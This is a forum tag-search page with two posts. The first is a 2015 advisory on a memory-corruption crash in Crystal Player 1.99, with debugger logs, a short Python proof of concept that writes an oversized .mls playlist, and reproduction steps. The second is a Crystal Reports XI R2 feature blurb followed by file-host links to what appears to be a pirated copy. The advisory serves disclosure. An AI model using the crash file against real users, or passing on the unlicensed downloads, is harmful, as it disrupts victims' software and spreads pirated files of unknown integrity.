Search the Community
Showing results for tags 'crystal'.
Found 2 results
Document Title: =============== Crystal Player 1.99 - Memory Corruption Vulnerability Date: ============= 21/01/2015 Vendor Homepage: ================ http://www.crystalreality.com/ Abstract Advisory Information: ============================== Memory Corruption Vulnerability on Crystal Player 1.99. Affected Product(s): ==================== Crystal Player 1.99 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file. Attackers can crash the software local by user inter action over mls (playlist). --- DEBUG LOG --- ///registers EAX 00000000 ECX 0006FE24 EDX 0006FE24 EBX 0013014C ESP 0006F300 EBP 00060041 ESI 00FF4A00 EDI 00000001 EIP 0040F933 Crystal.0040F933 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 1 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008) EFL 00010296 (NO,NB,NE,A,S,PE,L,LE) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 --- ERROR LOG --- Crystal+0xf933: 0040f933 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:00060051=???????? 00060051 doesnt exist in the program aka not allowed .. so memcopy fails... EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0040f933 (Crystal+0xf933) Access violation when reading  Proof of Concept (PoC): ======================= This vulnerabilities can be exploited by local attackers with userinteraction ... #!/usr/bin/python buffer = "A"*30000 filename = "Crash"+".mls" file = open(filename, 'w') file.write(buffer) file.close() print " Successfully MLS Created " How to perform: ======================= 1) Open Immunity Debugger and attach Crystal Player 1.99 2) Run it, Now move .mls file that we generated by our python script to the player 3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist. When you perform above steps so application will crash. Analyze it on Immunity. Solution - Fix & Patch: ======================= Restrict working maximum size & set a own exception-handling for over-sized requests. Security Risk: ============== The security risk of the vulnerability is estimated as medium because of the local crash method. Authors: ================== Kapil Soni (Haxinos) Source
Crystal Reports XI R2 Multilang Crystal Reports XI R2 Multilang | 1.201 GB Crystal Reports XI R2 Developer offers a flexible report design environment for creating and maintaining highly formatted reports. Crystal Reports XI R2 Developer, makes data access, report design, and report maintenance even easier! Crystal Reports XI R2 Developer allows you to access, format, and deliver information to drive better decision-making. Crystal Reports XI R2 Developer has the flexibility and power to provide your internal and external users with the information they need, when they need it, while minimizing IT overhead. Quickly transform almost any data into powerful, interactive content. Create compelling reports for viewing and interaction via portals, wireless devices and Microsoft Office documents. Crystal Reports XI R2 Developer delivers tools for tightly integrating dynamic content from virtually any data source into web and Windows applications. Application Integration Interface SDKs. Use the comprehensive interface SDKs in Crystal Reports within J2EE, .NET, and COM applications for flexible control over how end users interact with reports. Choose from a variety of report viewing, creation, and modification APIs to implement a range of interactivity capabilities - from static report processing/viewing to complex runtime report creation/modification. Reporting components. Embed the powerful Java, .NET, and COM reporting components in Crystal Reports within your application for powerful report processing and rendering. Custom tag library. Reduce the amount of coding required to embed report templates into JSP pages. Using custom JSP tags, you can now easily add a customized viewer to your web applications, dramatically reducing the amount of code required. Customizable report viewers. Choose from a variety of server-side and thin-client report viewer controls, including a Java viewer, DHTML (WebForms) Viewer, WinForms Viewer, ActiveX, and Report Part Viewer (mobile viewer), to render reports into various output formats without additional coding. End user report interactivity options - including page forward/back, drill up/down, export, and print - are automatically included. Plus, you can customize and implement most viewer options based on your requirements. IDE integration. Use a custom bundled edition of Crystal Reports from within leading Java and .NET IDEs for report integration from within a familiar environment. You can currently access Crystal Reports technology from within Microsoft Visual Studio .NET, BEA WebLogic Workshop, Borland JBuilder, and Borland C# Builder. Upgrade from these bundles to Crystal Reports 10 for additional functionality and scalability. Visual control library. Integrate reports into Delphi and C++Builder applications using the Crystal Reports Visual Control Library (VCL). Royalty-free runtime. Integrate hundreds of royalty-free runtime properties, methods, and events into thick-client applications for deployment at no extra cost. Developer Zone. Quickly overcome common reporting roadblocks by joining the Developer Zone, our exclusive community for developers. Access sample applications, download white papers, and review useful tips and tricks to get the most out of Crystal Reports. Data Access More than 35 data drivers. Access virtually any data with native, ODBC, OLE DB, and JDBC connectivity to relational, OLAP, XML, legacy, and enterprise data sources, including Oracle, IBM DB2, Sybase, Microsoft SQL Server, and Informix. In Crystal Reports XI, XML, JDBC, IBM DB2, and Exchange data drivers have been updated to give you an incredible range of data access options. Custom data. Access user-defined (in-memory) application data by connecting to JavaBeans, ADO.NET, and COM Data Providers. Tight control over database connectivity. Write your own SQL commands or use the proven query generation capabilities of Crystal Reports for flexible control over database connectivity. Multi-data source access. Connect to a unique data source or combine multiple data sources in one report. XML support. Integrate Crystal Reports with your B2B or B2C applications via XML data access or export. Unicode support. Use unicode strings to display data stored in almost any language and present multiple languages in a single report. Formatting and Design Dynamic and cascading prompts. Base report prompts on dynamic values. You will no longer need to maintain static prompt value lists within individual reports because you can reuse existing prompts stored in the repository. (available in Server, Developer, and Professional; Standard supports read-only viewing of dynamic and cascading prompts) Dependency checker. Use the dependency checker to instantly find broken links, formula errors, and dependency issues before reports are published and distributed. Dynamic image location. Pictures and graphics can be placed in a report through a link in the database so that you no longer need to store images within the database. Hierarchical grouping. Users can create their reports in a hierarchical rather than just a relational manner. This provides a better fit for organizational charts and summary reports. Visual report designer. Quickly design interactive reports using an intuitive, drag-and-drop interface and object-oriented explorers. Experts and wizards. Use optional experts and wizards to simplify common reporting tasks such as connecting to a data source, selecting, grouping, sorting, and summarizing data. Any report type. Create virtually any report you need including cross-tab, conditional, top N/bottom N, summary/drill-down, form, mailing label, OLAP, and subreport. Charting and mapping. Increase the graphical impact of your reports by choosing from a wide variety of map and chart types, including bar/3D bar, pie/doughnut, line, gantt, gauge, funnel, XY scatter, ranged map, dot density map, and more. Drag-and-drop charting and cross tabs. For intelligent charting where Crystal Reports will select the best chart style based upon the data in your report. Chart design is faster and easier because charts will be automatically updated when new variables are added. Reusable report objects. Expedite the report design process by storing key report objects - including text objects, SQL commands, bitmaps, and custom functions (formulas) - in a central managed library for sharing, reuse, and single-point updating across multiple reports. Customizable templates. Spend less time formatting individual reports. Design and apply customized templates that specify standards in formatting and logic - including data access operations - to ensure design consistency across reports. You can even use existing reports as templates. Powerful formula language. Use the extensive formula language in Crystal Reports with over 160 built-in and user-defined functions and operators to tightly control report formatting, complex logic, and data selection. A call-stack makes debugging data-level errors easy. A formula extractor and formula workshop are also included. Custom functions. Eliminate redundant formula creation. Extract business logic from formulas to create custom functions so you can use them across multiple reports. Asymmetric reporting. Provide a customized view of OLAP grids. With asymmetric reporting, you can hide specific dimensions of data so that end users only see relevant and valuable data. Access and Excel add-ins. Use an intuitive wizard to easily design a Crystal report from within Microsoft Access or Excel. Workbench and Repository Explorer. Users can easily browse, build, and publish object packages so they can schedule, manage, and secure a group of reports together rather than one report at a time. With the Workbench, users can keep projects organized by grouping reports according to preference. The Repository Explorer simplifies navigation within the BusinessObjects Enterprise system. Designer improvements. Designing reports is easier with the start page that appears each time you open Crystal Reports. The updated visual report designer allows you to point and click so you can create reports without the need for intensive coding. Report Design Zone. A resource-rich site for your report creation and design projects. Filled with a changing supply of demos, white papers, tips, and tricks, it's an invaluable resource for users and developers evaluating Crystal Reports. Report Viewing and Interaction HTML Preview. Report authors can publish perfect reports by previewing how reports will look before they are published to the web. Report Export Configuration. Save report export configuration with a report so that end users forgo the time and trouble of reconfiguring the export each time the report is run. RTF Export Format. For report export editing and optimized accuracy and forms processing. The end user is now able to enhance and expand a report in standard work processing applications. N Value for Top N Style Reports. Parameterized control for N value for top N style reports means that a single report will meet the needs of multiple users. This will reduce the total number of reports that are created and supported. Multiple export formats. Provide end users with reports in the format they prefer. Export reports to popular formats, including Excel, PDF, XML, HTML, RTF, and more. Customizable report viewers. Choose from a variety of server-side and thin-client report viewer controls, including DHTML page (WebForms) viewer, .NET WinForms viewer, Java viewer, ActiveX, and Report Part viewer (mobile viewer), to render reports into various output formats without additional coding. End user report interactivity options - including page forward/back, drill up/down, export, and print - are automatically included and can be customized based on your requirements. Parameters. Let users view the same data in different ways without creating multiple reports. End users can select predefined parameters in a single report to receive a subset of customized data. Alerting. Highlight specific information for your end users with report alerts - user-defined messages that appear when certain conditions are met by the data in a report. Guided navigation. Define specific navigation paths between report objects within the same or different reports for easier end user navigation. Hyperlinks. Use hyperlinks to turn reports into interactive web documents that connect to related information, including web sites and other reports. Drill-down. Without additional coding, create reports that allow end users to drill down on relational and OLAP data to uncover details that might otherwise go unnoticed. Report parts. Repurpose existing reports for use with wireless devices and corporate portals. Provide end users with access to charts, summary tables, specific records, and other key report information via portals, WML phones, RIM Blackberry, and Compaq iPAQ devices. Support for Microsoft Office XP Smart Tags. Insert key report objects - including charts and tables - into Microsoft Outlook, Word, or Excel for instant viewing and refreshing from within an Office document. Security, Support, and Maintenance Patch installation. All Crystal Reports customers will have the most up-to-date version because they will automatically receive the latest hot fixes and service packs. Single sign-on. Reports can be integrated into an existing security infrastructure so users only have to sign on once. Business Objects universes. Support for Business Objects universes (the semantic layer for Business Objects business intelligence tools like Web Intelligence) includes universe view time security and union queries. Complete integration with Business Objects Enterprise architecture. Enjoy seamless continuity between all of the applications within your business intelligence technology suite. Scalability is easier when everything is integrated. DOWNLOAD LINKS: http://u19822771.letitbit.net/download/07567.0c134b25a1ba82bead59d8292b96/75.Crystal.Reports.XI.R2.Multilang.part1.rar.html http://u19822771.letitbit.net/download/49774.430f4cc80ce76be365ae5d80506f/75.Crystal.Reports.XI.R2.Multilang.part2.rar.html http://u19822771.letitbit.net/download/86984.831ee67d1e50d5100954bf2e5197/75.Crystal.Reports.XI.R2.Multilang.part3.rar.html http://u19822771.letitbit.net/download/32868.3a15ba94062074759ed882440245/75.Crystal.Reports.XI.R2.Multilang.part4.rar.html http://u19822771.letitbit.net/download/22728.2172a1a9d73da4f9dee286019480/75.Crystal.Reports.XI.R2.Multilang.part5.rar.html http://u19822771.letitbit.net/download/80321.897ffbf50675aa5580172f0a0b16/75.Crystal.Reports.XI.R2.Multilang.part6.rar.html http://u19822771.letitbit.net/download/06163.0dbd0d716345533199a516e4d020/75.Crystal.Reports.XI.R2.Multilang.part7.rar.html http://uploaded.net/file/vomd466i/75.Crystal.Reports.XI.R2.Multilang.part1.rar http://uploaded.net/file/k1d6l9ku/75.Crystal.Reports.XI.R2.Multilang.part2.rar http://uploaded.net/file/d6e6wxcr/75.Crystal.Reports.XI.R2.Multilang.part3.rar http://uploaded.net/file/00ntc8sc/75.Crystal.Reports.XI.R2.Multilang.part4.rar http://uploaded.net/file/4s9hlvj3/75.Crystal.Reports.XI.R2.Multilang.part5.rar http://uploaded.net/file/lagedts7/75.Crystal.Reports.XI.R2.Multilang.part6.rar http://uploaded.net/file/z199i9zz/75.Crystal.Reports.XI.R2.Multilang.part7.rar http://rapidgator.net/file/571c1a8500ff6af6d6ee3ed9bc55ede5/75.Crystal.Reports.XI.R2.Multilang.part1.rar.html http://rapidgator.net/file/3dd9d9923ff53ff98e7bbcfffe834da3/75.Crystal.Reports.XI.R2.Multilang.part2.rar.html http://rapidgator.net/file/2c38069c4528f3a5adac2d8ce4cddc8b/75.Crystal.Reports.XI.R2.Multilang.part3.rar.html http://rapidgator.net/file/174a9f21b59e4ef22cfaf4b99ad99912/75.Crystal.Reports.XI.R2.Multilang.part4.rar.html http://rapidgator.net/file/4842e48413c1c17c794544060c820845/75.Crystal.Reports.XI.R2.Multilang.part5.rar.html http://rapidgator.net/file/2560a077c079c3478ee88393f0aaf6b9/75.Crystal.Reports.XI.R2.Multilang.part6.rar.html http://rapidgator.net/file/3696aaebb1d0dcbb954dbb67c38d4b7c/75.Crystal.Reports.XI.R2.Multilang.part7.rar.html http://www.uploadable.ch/file/NTEC5WDrt2pr/75.Crystal.Reports.XI.R2.Multilang.part1.rar http://www.uploadable.ch/file/ZFCWyegSt876/75.Crystal.Reports.XI.R2.Multilang.part2.rar http://www.uploadable.ch/file/4rD7nVFrCRy4/75.Crystal.Reports.XI.R2.Multilang.part3.rar http://www.uploadable.ch/file/bGpVTeSF3njH/75.Crystal.Reports.XI.R2.Multilang.part4.rar http://www.uploadable.ch/file/mrYUpZx5chqC/75.Crystal.Reports.XI.R2.Multilang.part5.rar http://www.uploadable.ch/file/adg3DmcSGCpA/75.Crystal.Reports.XI.R2.Multilang.part6.rar http://www.uploadable.ch/file/4dPfdrUmGHJZ/75.Crystal.Reports.XI.R2.Multilang.part7.rar